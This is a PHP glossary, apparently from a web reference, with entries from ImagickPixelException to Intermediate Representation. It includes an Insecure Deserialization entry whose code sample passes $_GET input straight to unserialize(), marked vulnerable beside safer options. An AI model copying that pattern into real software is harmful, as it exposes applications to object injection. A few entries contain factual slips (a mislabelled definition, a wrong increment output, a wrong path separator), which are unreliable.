ImagickPixelException is an exception class that is used to handle exceptions related to problems with ImagickPixel objects.
ImagickPixelException happens when using invalid color specification.
ImagickPixelException is related to the Imagick extension.
<?php
try {
// valid creation
new ImagickPixel("LightCoral");
// invalid creation
new ImagickPixel("LightCorral");
} catch (ImagickPixelException $e) {
log("Error while creating a pixel");
}
?>
See Also
Related
IMAP
IMAP, for Internet Message Access Protocol, is a PHP extension that provides functions to connect to mail servers over IMAP, POP3, and NNTP, list and search mailboxes, fetch message headers and bodies, and manage flags such as read, deleted, or flagged.
The extension is built on the c-client library. A connection is opened with imap_open() against a mailbox specification that includes the server, port, and protocol, for example {imap.example.com:993/imap/ssl}INBOX. Once connected, functions such as imap_search(), imap_fetchbody(), and imap_headerinfo() are used to read mail, while imap_mail_move() and imap_delete() manage messages.
The IMAP extension has been removed from the PHP core distribution as of PHP 8.4 and moved to PECL, reflecting both its declining use, most projects now talk to mail providers over an HTTP API, and the fact that the underlying c-client library is largely unmaintained. Projects that still need IMAP access on PHP 8.4+ must install the PECL package explicitly or switch to a pure-PHP IMAP client library.
<?php
$mailbox = '{imap.example.com:993/imap/ssl}INBOX';
$inbox = imap_open($mailbox, 'user@example.com', 'password');
$emails = imap_search($inbox, 'UNSEEN');
if ($emails) {
foreach ($emails as $id) {
$header = imap_headerinfo($inbox, $id);
echo $header->subject . PHP_EOL;
}
}
imap_close($inbox);
?>
See Also
Related
Related packages
Immutable
An immutable object, exhibiting immutability, is an object that can’t be changed. It may be created, read and cloned. On the other hand, a mutable object may change when one of its method is called, even if this is not visible from the outside.
Immutable objects are thread-safe.
Immutable objects often return a clone version of themselves, after modification.
<?php
class Elephpant {
private $age = 0;
function inc() : self {
$return = clone $this;
$return->age +=1;
return $return;
}
}
$elephpant = new elephpant();
$olderElephpant = $elephpant->inc();
// $elephpant and $olderElephpant are two distinct objects
?>
See Also
- The case for immutability
- Elegant immutable object pattern in PHP
- Immutable Objects in PHP: Your Secret Weapon for Safer Applications
Related
- Clock
- Determinism
- Snapshot
- State
- Class Wither Method
- Actor Model
- Ownership
- Linear Type
- Phantom Type
- Record Type
- Value Type
Imperative Programming
Declarative programming is the programming style where each step is described to the program, which then, executes them one after the other.
This approach favors the control on the execution: it is easy to check the steps, and enforce that each step is done when expected.
Imperative programming does not leave room for optimisation, as the step order is controlled externally. Everything has to be written as expected, leading to extra labor.
See Also
Related
Implementation-Defined Behavior
Implementation-defined behavior is behavior that the language specification leaves to the engine to decide, on the condition that the engine picks one consistent option and documents it. Unlike undefined behavior, the result is always predictable once the specific engine and its documentation are known.
Examples include the size of an int, 32 or 64 bits, depending on the platform, the precision of float operations, and the exact wording of engine-generated error messages.
<?php
// implementation-defined: the size of PHP_INT_MAX depends on the platform
var_dump(PHP_INT_MAX); // int(9223372036854775807) on a 64-bit build
// int(2147483647) on a 32-bit build
?>
See Also
Related
implements
implements is a keyword, dedicated to classes. It specify which interfaces a class implements.
Implemented interfaces may be tested with types, instanceof, and is_a().
The list of implemented interfaces is accessible with the class_implements() function.
<?php
interface Trumpeter {
function trumpet() ;
}
// empty interface
interface Migratory { }
class Elephpant implements Trumpeter, Migratory {
private $property;
public function trumpet() {
return 1;
}
}
?>
See Also
Related
Implicit State
Implicit state is state that a function or method relies on without declaring it as a parameter or return value. It exists outside the explicit flow of data through the code.
Implicit state includes: global variables, e.g. $GLOBALS, superglobals like $_SESSION, $_GET, static class properties modified as side effects, the current error state, locale settings, timezone, and active database connections.
Implicit state makes code harder to test: they require careful setup of global state or a clean and reset operation before each test, they are harder to reason about as behavior depends on invisible context, and are prone to subtle bugs when state leaks between different parts of the application or across requests.
Prefer explicit state: pass values as parameters and return new state as return values.
<?php
// Implicit state: function behavior depends on global timezone setting
date_default_timezone_set('UTC');
echo date('H:i'); // depends on global timezone, not a parameter
// Explicit alternative: pass timezone explicitly
echo (new DateTimeImmutable('now', new DateTimeZone('UTC')))->format('H:i');
?>
See Also
Related
Implicit
A feature is implicit when it is available, yet not explicitly visible.
For example, objects are passed by reference to functions: any change applied to that object, inside the function, is also available in the calling context.
Until PHP 8.4, it was possible to assign null as a default value to any typed parameter: null was implicitly an accepted type for that value.
The contrary to implicit is explicit. This notion shares similarities with hidden features and collateral features.
<?php
function trumpet($object) {
$object->age = 1;
}
$object = new stdClass();
trumpet($object);
echo $object->age;
?>
See Also
Related
implode()
The implode() function is used to join elements of an array into a glue, placed between each element.
implode() uses the first argument as the separator, and the second as the array. In older versions of PHP, this order could be reversed, but it recommended to avoid using it, as that feature was removed.
implode() has an alias called join().
implode() converts the elements of the array to string before merging them in a string. In particular, objects are converted to string with the magic-method, and sub-arrays are converted to Array, with a warning. Backed enumerations are not usable with that function.
implode() is faster to concatenate multiple strings than accumulating the concatenations in a single string. This happens because there is less need to allocate memory piecemeal.
<?php
declare(strict_types=1);
class Elephpant {
function __toString() {
return 'c';
}
}
$elephpant = new Elephpant();
echo implode('a', ['a', 'b', new Elephpant()]);
?>
See Also
Related
Import
Imports are elements of a different namespaces, brought into the current one. They rely on the use expression, usually at the beginning of the file.
Once a class, interface, trait, enum, function or constant has been imported, it is available in the current namespace. It may also use another name, also called alias.
Import is sometimes mistaken with inclusion, which bring in code.
<?php
namespace A;
// import classes
use B\C;
use D\E as F;
// import function
use function A\foo;
// import constants
use const A\D;
// call an imported function with an imported constant
foo(D);
?>
See Also
Related
Impure Function
An impure function is a function that has at least one of the following characteristics:
- Non-deterministic: for the same input, an impure function may return different output. For example,
date()andrandom_string()return different values for each call, by definition. - Create side-effect: an impure function modify a state: a global variable, a row in a table, a lock, a file or data. This may affect any subsequent call to this function, leading to the previous characteristic.
A function that is not impure is a pure function.
This notion applies to functions, methods, native and custom functions, closures and arrow functions.
<?php
echo random_string(0, 10);
// an impure function:
// the static variable is a state that changes over time
function trumpet() {
static $age = 0;
return $age++;
}
?>
See Also
Related
in_array()
in_array() function checks if a value exists in an array. It is important to use the third parameter ‘strict’ to true to ensure type safety and avoid unexpected behavior due to PHP’s loose comparison rules.
A surprising pitfall is misplaced parentheses, which can lead to valid but incorrect logic: if (in_array($a, $b) == $c) vs if (in_array($a, $b == $c)).
<?php
$array = [1, 2, '3', 4];
// Loose comparison (default): returns true
var_dump(in_array(3, $array));
// Strict comparison: returns false
var_dump(in_array(3, $array, true));
// Misplaced parenthesis pitfall
$a = 1;
$b = [1, 2, 3];
$c = true;
// Correct usage
if (in_array($a, $b) === $c) {
echo 'Found';
}
// Potentially incorrect but valid syntax
if (in_array($a, $b === $c)) {
echo 'Valid PHP, but unlikely what was intended';
}
?>
See Also
Related
- array_search
- array_keys()
- array_diff()
- array_diff_assoc()
- array_intersect()
- Strict
- Compiler Optimized Function
include
Inclusion, often represented by the include keyword and more rarely by require, is the process to read an external file, and evaluate with the current application for execution. It may define new structures, and execute code.
Inclusion relies on four language structures: include, require, include_once, require_once.
Inclusion is often only used in autoload() functions: the code is included class per class, upon request. Besides the include 'vendor/autoload.php';, there might be another inclusion for functions and global constant, which must be included manually.
Inclusion runs easily into the already defined error: this happens when the same file is included twice, and it defines a structure, such as function, constant, class, etc. At the second inclusion, the structure is already defined, and cannot be included again. This is why there is the include_once command, which skips the inclusion if it already happened. This error was later reduced by using autoload, which is only called when a class, interface, trait or enumeration is used.
vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>
See Also
Related
- Class Autoloading
- File
- Inclusion Hell
- Namespaces
- Local File Inclusion
- Const
- Syntax
- Control Flow
- Order Of Execution
include_path
The include_path directive sets the directories where the file functions look for files to read or write files.
File functions may be require(), include(), fopen(), file(), readfile(), file_get_contents().
include_path default to ., the current directory. It may list several directories, using :: as a separator.
See Also
Related
Inclusion Hell
Inclusion hell is the tangled state a codebase reaches when include, require, and their _once variants are scattered across many files as the only way to make a class or function available, instead of being loaded through a single, predictable mechanism. Because each file may itself include others, the actual set of files loaded for a given request becomes a deep, hard-to-trace chain: knowing whether a given class is already defined at a given point in the code requires mentally following every inclusion that happened before it, rather than looking it up in one place.
The usual symptoms are a Fatal error: Cannot redeclare when the same file is pulled in twice through a plain include instead of include_once, includes written with relative paths that break the moment the including file is moved or included from a different working directory, circular inclusion where file A includes file B which includes file A again, and a change to one file’s include list unpredictably breaking a feature defined in an unrelated folder.
Inclusion hell was common in codebases before class autoloading and Composer’s PSR-4 autoloader became standard practice. Autoloading replaces the whole chain of manual includes with a single hook, invoked only when a class is actually used, and a naming convention that maps a class name directly to its file, removing the need to reason about inclusion order at all.
<?php
// header.php
require 'db.php';
require 'auth.php';
// auth.php
require 'db.php'; // already loaded by header.php: without _once, this
// redeclares every function and class in db.php
// Fatal error: Cannot redeclare connectToDatabase()
?>
See Also
Related
Incoming Data
Incoming data are data submitted to PHP by the user. They may come in different ways: GET, POST, cookies or files; and, by extension, $_REQUEST.
Incoming data should always be checked before usage. Their value may have been modified by the author of the source, and carry some malicious payload.
The encoding of the incoming data is controlled with the default_charset directive.
By extension, incoming data may be used to refer to every source of data that is not PHP itself: files, databases, API, etc. Then, they should be treated the same way, with checks on format and value before usage.
<?php
if ($_GET['x'] === '1') {
print "You provided a one digit. Thanks!";
} else {
print "No processable data was provided";
}
?>
See Also
Related
Inconsistent
Inconsistent is a trait of written code, where different conventions or styles are used at the same time. Inconsistent source code is more difficult to understand and often leads to misunderstanding.
One way to fight inconsistency is to make the consistent rule explicit, and to use tools that both enforce and teach them to developers.
Code may run correctly without being consistent.
<?php
$first_name = 'PHP';
$lastName = 'Elephpant';
?>
See Also
- How NOT to write code in PHP — 5 Bad Examples
- Explaining Inconsistent Code
- The inconsistencies of PHP
Related
Increment
Increment refers to the process of increasing or adding a small amount to a value, or simply one unit.
Increment usually refers to the pre-increment and post-increment operators. Increment applies to numbers, both decimal and integers. It also applies to strings, though the feature has been moved to functions. Increment works on booleans: it always produces 1 first, then, since it was turned into an integer, it goes on with numbers.
<?php
$a = 1;
echo ++$a; // pre plus plus : displays 1, and $a ends with 2
echo $a++; // post plus plus
echo $a += 1; // increment
?>
See Also
Related
Indentation
Indentation, or indenting, is a convention governing the layout of blocks of code to convey program structure.
For example, the body of code in a function should be indented one unit to the right, vis-a-vis the function keyword.
Indentation may be done with spaces: 2, 3, 4 or 5 spaces, or horizontal tabulations.
Indentation is part of the syntax of the heredoc strings.
<?php
function headers() : never {
// expected indentation
headers('Location: https://www.exakat.io/');
// badly indented block
die();
}
?>
See Also
Related
Index For Arrays
A index, also called a key, is the identifier of an specific element in an array. They may automatically generated, by simply omitting them at creation time.
PHP index may be integers or strings only. Other data types generate an error or a type conversion. For example, floats are turned into integer. integer-shaped strings will also be turned into integer.
PHP index start at 0. They may be automatically assigned by appending a new value with the [] operator: then, they use the greatest available index + 1.
<?php
$array = ['a', 'b', 'c'];
echo $array[0];
?>
See Also
Related
- Array, []
- Data Container
- Collection
- Index
- Map
- Negative Index
- Square Brackets
- Array Element
- array_keys()
- Automatic Index
- unset()
- Array Dot Notation
- array_column
- array_push()
- Offset
- Multidimensional Array
Index For SQL
In SQL, an index is a database object that improves the performance of data retrieval operations on database tables. It is a data structure that provides a quick lookup mechanism for finding specific data within a table.
An index is created on one or more columns of a table and contains a sorted copy of the data in those columns, along with a pointer to the original data. This allows the database engine to locate and retrieve the required data more efficiently, reducing the need for scanning the entire table.
The most common index structure is the B-tree, the balanced tree: a sorted tree where each leaf page holds a range of key values and a pointer to the corresponding data. B-tree indexes support range queries and ordering efficiently.
A clustered index, or clustered primary key, determines the physical storage order of rows on disk. In InnoDB-MySQL, the primary key is always a clustered index, meaning rows are stored in primary key order. This has an important consequence for identifier choice: randomly generated primary keys such as UUIDv4 scatter inserts across the entire index, causing frequent page splits and increased I/O. Time-ordered identifiers such as UUIDv7 or ULID always append to the rightmost leaf page, avoiding this problem.
Indexes provide the following benefits:
- Improved query performance: by creating an index on frequently queried columns, the database engine can quickly locate the relevant data, resulting in faster query execution times.
- Efficient data retrieval: indexes allow the database to perform index-based seeks or scans instead of full table scans, which can significantly reduce the amount of disk I/O and improve overall system performance.
- Sorting and ordering: indexes can be used to sort the data in a specific order, which is helpful when retrieving data in a specific sequence, such as ascending or descending order.
- Constraint enforcement: indexes can be used to enforce unique constraints and primary key constraints on a table, ensuring data integrity and preventing duplicate or NULL values.
However, indexes also have some considerations:
- Overhead: indexes consume disk space and require additional processing time for index maintenance during data modifications. So, creating too many indexes or indexes on frequently updated columns can impact performance.
- Maintenance: indexes need to be maintained as the underlying data changes. This includes updating the index when data is inserted, modified, or deleted, which can impact overall system performance.
- Choosing the right columns: it’s important to carefully choose the columns to index based on the specific queries and usage patterns of the database. Indexing every column is not always necessary or beneficial.
<?php
$array = ['a', 'b', 'c'];
echo $array[0];
?>
See Also
Related
- Index
- Search Engine
- Universally Unique IDentifier (UUID)
- Universally Unique Lexicographically Sortable Identifier (ULID)
- Database
Index
An index, plural indices, may be several things:
- An identifier in an array
- A optimized datastructure for a database, SQL or key-value store
- A optimized datastructure for fast search operations
An indexed array is an array whose index are integers. This distinguish them from the associative arrays, whose keys are strings.
See Also
Related
Indexed Array
An indexed array is an array whose keys are only integers. The keys may be explicit or implicit.
An array with a string index is an associative array.
<?php
$associative = [10 => 'a', 'b'];
echo $associative[10]; // a
echo $associative[0]; // b
?>
See Also
Related
Related packages
Indirect Reference Map
An indirect reference map, or indirect object reference, is a technique that replaces a direct, guessable reference to an internal object, such as a sequential database id, with an unpredictable substitute, such as a UUID or a random per-session token. The application keeps an internal mapping between the substitute value and the real object, and translates one into the other on each request.
Indirect reference maps mitigate id enumeration and reduce the surface for IDOR: an attacker who cannot guess or increment a valid reference cannot casually reach another user’s object by tampering with the value.
An indirect reference map is not, by itself, an authorization check. A random identifier only makes an object harder to guess; it does not verify that the requesting user is entitled to access it. It should be combined with an explicit ownership or permission check on every request, not used as a substitute for one.
<?php
// Direct reference: sequential id is guessable and exposes enumeration
// GET /invoice?id=1042
$invoice = $db->find('invoices', $_GET['id']);
// Indirect reference: unguessable UUID mapped back to the real id
// GET /invoice?ref=e194da7f-3d74-48e9-ac49-4c72e1b02eeb
$id = $referenceMap->resolve($_GET['ref']);
$invoice = $db->find('invoices', $id);
// Still required: an explicit ownership check, regardless of the reference used
if ($invoice->userId !== $currentUser->id) {
throw new UnauthorizedException();
}
?>
See Also
Related
- Insecure Direct Object Reference (IDOR)
- Broken Object Level Authorization (BOLA)
- Broken Access Control
- Authorize
- Universally Unique IDentifier (UUID)
- Vulnerability
Inequality
Inequalities are the mathematical comparison of values, with the >, >=, < and <= operators.
Unlike the equality operators, they do not have a strict version, which takes into account the type of the values. Hence, the compared values are always adapted to each other’s type.
<?php
// displays false
var_dump("3" > 3);
// displays true
var_dump(4 >= 0)
?>
See Also
Related
INF
Infinite is a PHP constant, called INF. It is also possible to generate such a value, with calls to math functions such as log(0) or 1e308 * 2.
While the infinite is a float, it is possible to test a number with is_infinite().
<?php
$infinite = 1e308 * 2;
var_dump(is_infinite($infinite)); // true
var_dump(INF === $infinite); // true
echo str_repeat('1', 1000) + 0; // INF
?>
See Also
Related
Infinite Loop
An infinite loop never ends, unless an external event make it break out of itself.
Infinite loops are usually un wanted, and should be avoided. They happen when an exit condition is forgotten, omitted or tests a stationary aspect of the loop. That way, the loop keeps repeating.
PHP prevents infinite loop automatically, by enforcing the max_execution_time or memory_limit error.
Infinite loop are also a base structure in event loops: the code waits for an event by repeating itself, with a time moderation to avoid wasting too much energy. As such, it is a feature.
Such loops are related to polling, which is a process where a resource is checked on a regular basis for udpates. They may be replaced by hooks or streams.
<?php
// infinite loop while
while(true) { }
// infinite loop while
do { } while(1);
for(;;) {}
?>
See Also
Related
Infinite
Infinite means that an operation is repeated and will never stop being repeated.
Infinite is characteristics of loops, generators, recursive functions and streams. Infinite structures may be a bug or a feature, depending on the usage. For example, the event loop is usually an infinite loop, until one of the event triggers a jump out of the loop.
Infinite is also a PHP constant: INF.
INF is cast to string as 'INF', to integer as 0, to boolean as true, and to float as 'INF'.
<?php
// infinite loops
while(true) { }
for(;;) {}
// infinite generator
function integers() {
$i = 0;
while(true) {
yield $i++;
}
}
// infinite Fibbonacci sequence
function recursive ($a = 1, $b = 1) {
$a2 = $b;
$b2 = $a + $b;
print $b2.PHP_EOL;
recursive($a2, $b2);
}
?>
See Also
Related
InfiniteIterator
The InfiniteIterator allows one to infinitely iterate over an iterator without having to manually rewind the iterator upon reaching its end.
Infinite iterator works with other iterators. The loop may be broken, as usual, with a break keyword.
<?php
$versions = [1, 2, 3, 4, 5, 7, 8];
$infinite = new InfiniteIterator(new ArrayIterator($versions));
foreach ($infinite as $value) {
print "$value\n";
}
?>
See Also
Related
Inflector
An inflector processes strings to adapt them for various situations, such as singular/plural, or for uppercase/lowercase.
Typical inflector operations include pluralizing and singularizing nouns, browsers to browser, converting between naming conventions such as camelCase, snake_case, and kebab-case, deriving class or table names from words classify(), tableize(), and producing ordinal forms 1st, 2nd. Because English pluralization has many irregular forms such as child/children, mouse/mice, inflectors rely on ordered rule tables and exception lists rather than a single suffix rule.
In the PHP ecosystem, doctrine/inflector is the most widely used standalone implementation and is also embedded inside Doctrine ORM for generating table and column names from entity and property names; Symfony’s symfony/string component ships its own Inflector service; Laravel’s Illuminate\Support\Str::plural()/singular() helpers perform the equivalent inflection; and CakePHP bundles inflection rules in its utility package for generating model and route names.
<?php
// example using doctrine/inflector
$inflector = InflectorFactory::create()->build();
echo $inflector->singularize('browsers'); // browser
?>
See Also
Related
Related packages
Inheritance
Inheritance is a mechanism where a class is build from another class, and form a hierarchy of classes that share a set of attributes and methods.
<?php
class elephpant {
public function trumpet() {
echo "I am trumpet!\n";
}
}
class calf extends elephpant {
public function stampede() {
echo "I am stampede!\n";
}
}
$calf = new Calf();
$calf->stampede(); // calling the stampede method, defined only with calf
$calf->trumpet(); // calling the trumpet method, defined in elephpant, and inherited in calf
?>
See Also
Related
- Class
- Class Hierarchy
- Composition
- Constructor
- Operator Overloading
- Overwrite
- Base Class
- Base
- Method Resolution Order (MRO)
- Polymorphism
Inherited Variable
An inherited variable is a variable that was passed to a closure via the use clause in the closure definition.
The variable is said ‘inherited’, as it is extracted from the context at definition time, and not passed as parameter, at call time.
Contrary to parameters, inherited variable cannot be typed.
<?php
$inherited = 'yes';
$closure = function() use ($inherited) {
return $inherited;
};
trumpet($closure);
function trumpet($closure) {
$inherited = 'no'; // This is local to the trumpet function
echo $closure(); // display yes
}
?>
See Also
Related
INI
The INI format is a simple, human-readable file format used for configuration settings. It consists of key-value pairs grouped into sections.
It is natively supported by PHP, and used internally for the php.ini file.
It is related to the TOML format.
<?php
parse_ini_file('/path/to/php.ini');
parse_ini_string(<<<INI
; This is a comment
# Another comment
[database]
host = localhost
username = root
password = secret
port = 3306
INI);
?>
See Also
Related
Related packages
ini_set()
ini_set() is a PHP native function which can change PHP directive, during execution. This is useful to make a specific limit different, depending on the part of the application which runs. It might also be a security problem, when directives are used to protect the system, and are lifted with this function. However, some directives cannot be changed by this function, such as disable_classes for example.
The impact of ini_set() only applies to the current request. It will be reset to its default value with the next request.
The complement to this function is ini_get(), which collect the value of a directive without changing it; and ini_restore(), which reset the directives to their initial value.
<?php
print ini_get('memory_limit'); // for example 128M
ini_set('memory_limit', '1024M'); // now, 1 Gb
?>
See Also
Related
Initialisation
Initialisation is the process to unconditionally give a value to a variable, or any container, before its usage.
Initialisation has a dedicated syntax for properties, parameters and static variables. There is no dedicated syntax for variable initialisation: they are created when needed, with a default value of NULL. They also emits a warning in that case.
Initialisation ensures that a variable is hold a sane value before any usage. This makes it important for security purposes too.
<?php
function trumpet($i = 0) {
static $var = 3;
// implicit initialisation with null, which is later cast to 0.
$trunk += 2;
}
?>
See Also
Related
Injection
Injection is the usage of a resource, such as data, object or services, that is provided to the method, by the caller.
There are good injections, such as the dependency injection.
There are bad injections: all the security ones. SQL injection, PHP code injection, LDAP injection, CRLF injection, CSV injection, XML injection, etc. Those attempt to change reroute the execution of the method to gain access to unprotected resources.
See Also
Related
- CRLF Injection
- Dependency Injection
- SQL Injection
- Code Injection
- CSV Injection
- Escape Character
- LDAP Injection
- Penetration Test
- Taint Analysis
- Scalable Vector Graphics (SVG)
- escapeshellarg()
- escapeshellcmd()
- Image Injection
- Shell Injection
Inline Assembly
Inline assembly is a language feature, found in C, C++, and Rust, that lets raw processor assembly instructions be embedded directly inside otherwise ordinary source code, such as GCC’s asm("...") blocks or Rust’s asm! macro. It gives direct control over specific CPU instructions, registers, and hardware features, such as SIMD intrinsics, atomic operations not otherwise exposed by the language, or a device driver’s memory-mapped I/O, that the compiler’s own code generation does not expose any other way.
Because it bypasses the compiler’s usual code generation and type checking for the enclosed instructions, inline assembly is inherently unsafe and non-portable across processor architectures, and is reserved for narrow, performance- or hardware-critical sections.
PHP has no inline assembly, and none is possible: source code is compiled to Zend opcodes and interpreted by the Zend Engine, it is never compiled down to native machine code that a programmer could interleave instructions with. Reaching hardware-level or CPU-instruction-level functionality from PHP requires writing a C extension, or a compiled library invoked through FFI.
See Also
Related
Inlining
Inlining is the process to bring a dependency inside the current code, so as to remove that dependency.
For example, replacing a constant by its value, as a literal, means that the code works without depending on the external definition.
On the other hand, such external structure may also have its own life cycle, which is not reflected anymore. It also may hurt readability.
<?php
const A = 1;
echo A; // dependent code
echo 1; //
?>
See Also
Related
Insecure Deserialization
Insecure deserialization, also called PHP object injection, is a vulnerability that occurs when untrusted data is deserialized without sufficient validation, allowing an attacker to manipulate the serialized object to execute arbitrary code.
The most common vector is the native unserialize() function. When user-controlled data is passed to unserialize(), an attacker can craft a malicious serialized payload that instantiates arbitrary classes available in the application’s scope. By targeting classes that implement magic methods such as __wakeup(), __destruct(), or __toString(), the attacker can chain method calls, known as a Property Oriented Programming chain, to achieve remote code execution.
OWASP lists insecure deserialization as one of the Top 10 web application security risks.
Mitigations include: never deserializing untrusted data with native unserialize(); using safer formats such as JSON; using the allowed_classes option to whitelist permitted classes; and using HMAC signatures to authenticate serialized payloads.
<?php
// VULNERABLE: passing user input directly to unserialize()
$data = $_GET['data'];
$obj = unserialize($data); // Dangerous!
// SAFER: use JSON for untrusted data
$obj = json_decode($_GET['data']);
// SAFER: restrict allowed classes when unserialize is necessary
$obj = unserialize($data, ['allowed_classes' => [MyValueObject::class]]);
?>
See Also
- A08:2025 Software or Data Integrity Failures
- Developing a custom gadget chain for PHP deserialization
- The Quiet Shift Reshaping PHP Security
Related
- Serialization
- Unserialization
- Object Injection
- __wakeup() Method
- __unserialize() Method
- Attack
- Vulnerability
- OWASP
- Security
- Pop
- Static Application Security Testing (SAST)
Installation
Installation covers two distinct things that share a name but happen at different layers.
PHP installation is the process of getting the PHP runtime itself onto a machine so that any PHP script can be executed at all. Depending on the platform and the intended use, this can mean installing a prebuilt package through an operating system’s package manager, such as apt on Debian and Ubuntu, dnf on Fedora, or Homebrew on macOS; downloading official prebuilt binaries for Windows; running an all-in-one local development stack such as XAMPP, MAMP, or WAMP that bundles PHP with a web server and a database; pulling an official php Docker image for containerized environments; or compiling PHP from source with ./configure, make, and make install for full control over which extensions and build flags are enabled. It is typically followed by configuring php.ini to enable the required extensions and set runtime directives, and verified by running php -v from the command line or checking the output of phpinfo() through a web server. Multiple PHP versions can coexist on the same machine using version managers or separate installation prefixes, which is common when maintaining several projects with different version requirements. This step is done once per machine, or once per PHP version on that machine.
PHP application installation, by contrast, assumes the runtime already exists and instead sets up one particular application or library written with PHP so that it becomes usable. For a library, this usually means composer install, which reads composer.json and downloads the declared dependencies into vendor/. For a full application such as WordPress, Drupal, or a bespoke project, it typically also involves creating a configuration file, initializing a database schema, and setting file and directory permissions, often walked through by a first-run install wizard in the browser or a documented sequence of console commands. Application installation is repeated for every project and every environment, and is a separate concern from deploy, which is about publishing an already-installed application to a live server.
Related
instance
An instance is an object of a class. The class provides the definitions of the behavior of that object, while the object holds the specific data, that makes it unique and distinguishable.
The creation of an instance, called instantiation, or to instantiate, is done with the new keyword.
<?php
class Elephpant {
private int $property;
function __construct(int $arg) {
$this->propety = $arg;
}
}
$object = new Elephpant(2);
?>
See Also
Related
instanceof
instanceof is used to determine whether a PHP variable is an instantiated object of a certain class. It is related to the function is_a().
instanceof has a higher precedence than ! operator, so it is applied before the latter. In case of confusion, use parenthesis.
instanceof does not check that the checked class exists: it just checks that the provided object match the class name. If a typo happens in the class name or the class does not exists, the operator fails every time.
<?php
if ($user instanceof Administrator) {
$user->admin();
}
// If The user is not of class User...
if ( !$user instanceof User ) {
//if ( !($user instanceof User) ) {
$user->admin();
}
var_dump($user instanceof UndefinedClass); // false
?>
See Also
Related
- Operators
- is_a()
- Type Checking
- Object
- Polymorphism
- is_object()
- Object Type
- Multiple Dispatch
- Smart Cast
- Sum Type
- Type Narrowing
Insteadof
The insteadof operator is used in the context of trait composition and resolving conflicts between methods or properties of multiple traits that are being used in a class.
When a class uses multiple traits that have methods or properties with the same name, naming conflicts can arise. The insteadof operator helps to resolve these conflicts by specifying which trait’s implementation should be used in the class. It is often paired with as to give the excluded implementation a method alias, so it can still be reached under another name.
<?php
// Example from the PHP documentation
trait A {
public function smallTalk() {
echo 'a';
}
public function bigTalk() {
echo 'A';
}
}
trait B {
public function smallTalk() {
echo 'b';
}
public function bigTalk() {
echo 'B';
}
}
class Talker {
use A, B {
B::smallTalk insteadof A;
A::bigTalk insteadof B;
}
}
?>
See Also
Related
Instruction
The term instruction most commonly refers to a PHP language statement, such as an assignment, a function call, or a control structure.
In programming, an instruction is a single operation that tells the processor or runtime to perform a specific task. At the CPU level, instructions are binary commands executed directly by the hardware. In higher-level languages like PHP, a statement or expression corresponds to one or more machine instructions after compilation or interpretation.
<?php
// PHP instructions (statements)
$trunk = 42; // assignment
echo $trunk; // output
if ($trunk > 0) { } // control structure
trumpet($trunk); // function call
?>
See Also
Related
intdiv()
intdiv() is a PHP native function, that computes the integer division between two integer. The integer division of a by b express the number a as a function of b, such as a = k * b + c.
intdiv() returns the k value, which is the quotient. It is an integer. The remainder, c is accessible with the modulo operator %. There is no operator equivalent to intdiv().
The integer division is a special case of the division, which works on decimal numbers.
<?php
$a = 15;
$b = 6;
$k = intdiv($a, $b); // 2
$c = $a % $b; // 3
echo $k * $b + $c;
?>
See Also
Related
integer
An integer, or int is a number of the set ℤ = {..., -2, -1, 0, 1, 2, ...}. It is limited by PHP_INT_MIN, the lower bound, and PHP_INT_MAX, the upper bound.
Integers have several syntaxes: they may be written in binary, octal, decimal, hexadecimal and with _ as a separator.
<?php
$a = 1234; // decimal number
$a = 0123; // octal number (equivalent to 83 decimal)
$a = 0o123; // octal number (as of PHP 8.1.0)
$a = 0x1A; // hexadecimal number (equivalent to 26 decimal)
$a = 0b11111111; // binary number (equivalent to 255 decimal)
$a = 1_234_567; // decimal number (as of PHP 7.4.0)
?>
See Also
Related
- Addition
- Binary Integer
- Multiplication
- Numeric Separator
- Octal Integer
- Scalar Types
- Sign
- PHP_INT_MAX
- PHP_INT_MIN
- Positive Integer
- precision
- abs()
- Number
- Numeric Base
- Rounding
- Leading Zero Means Octal
- Math
- BackedEnum
- Bitfield
- decbin()
- PHP Natives
- Signed Integer
Integration Test
Integration tests are tests that verify how multiple components or packages work together, as opposed to unit tests, where test are dedicated to one component.
The most important with integration testing is to test realistic scenarios: actual HTTP requests, real database writes, real service interactions, so as to cover the bugs that only appear when everything is wired together.
Integration testing relies on mock objects, to simulate external, autonomous or hard to generate situations.
See Also
Related
Interface
Object interfaces allow to create code which specifies which methods a class must implement, without having to define how these methods are implemented.
Interfaces may have methods signatures, without a body, constants. Since version 8.4, they may also have properties, as long as the property is public, and the hooks are abstract, or without body.
<?php
// Declare the interface 'Template'
interface Template
{
public const A = 1;
public string $p {
get;
}
public function setVariable($name, $var);
public function getHtml($template);
}
// Implement the interface
class WorkingTemplate implements Template
{
private $vars = [];
public string $p {
get => 2;
}
public function setVariable($name, $var)
{
$this->vars[$name] = $var;
}
public function getHtml($template)
{
foreach($this->vars as $name => $value) {
$template = str_replace('{' . $name . '}', $value, $template);
}
return $template;
}
}
?>
See Also
- Interfaces vs Abstract Classes in PHP
- Interfaces - the misunderstood concept
- Granular interfaces
- When to add an interface to a class
- Code to an interface!
- Interfaces
Related
- Fluent Interface
- BackedEnum
- Class Interface Trait Enumeration (CITE)
- Object
- UnitEnum
- Countable Interface
- Expressive Interface
- Flexibility
- Polymorphism
- Program To Interface
- Direct Output
- Interoperability
- Intersection Type
- Proxy
- Facade
- Proxy Class
- SplObserver
- SplSubject
- Base Class
- class_implements()
- DateTimeInterface
- Decorator Pattern
- DOMChildNode
- DOMParentNode
- IteratorAggregate
- Random\CryptoSafeEngine
- Random\Engine
- Reflector
- SeekableIterator
- SessionHandlerInterface
- SessionIdInterface
- SessionUpdateTimestampHandlerInterface
- Dependency Inversion (DIP)
- Existential Type
- Ports And Adapters
- Row Polymorphism
- First-Class Module
- Pattern
- Abstract Class
- Structural Typing
- Type Class
- Marker Interface
- Conditioned Structures
- implements
- Nominal Type
- Properties
- Strategy
Intermediate Representation (IR)
An intermediate representation, or IR, is a data structure or code that a compiler builds to represent a program somewhere between its original source text and the final target code. It sits after parsing, so it is already free of raw syntax details such as comments, whitespace, or parentheses, but before code generation, so it is not yet tied to a specific CPU or virtual machine instruction set.
The point of having an intermediate representation is decoupling: a compiler’s optimization passes, dead code elimination, constant folding, inlining, and its static analysis, are written once against the IR, independently of both the source language’s syntax and the target’s instruction set. The same IR can, in principle, be produced from several front-ends and consumed by several back-ends. Well-known IRs include LLVM IR, GCC’s GIMPLE and RTL, and the JVM’s class-file bytecode.
An intermediate representation is a broad family, not a single format. Common shapes include:
- An abstract syntax tree, still tree-shaped and close to the source grammar. See
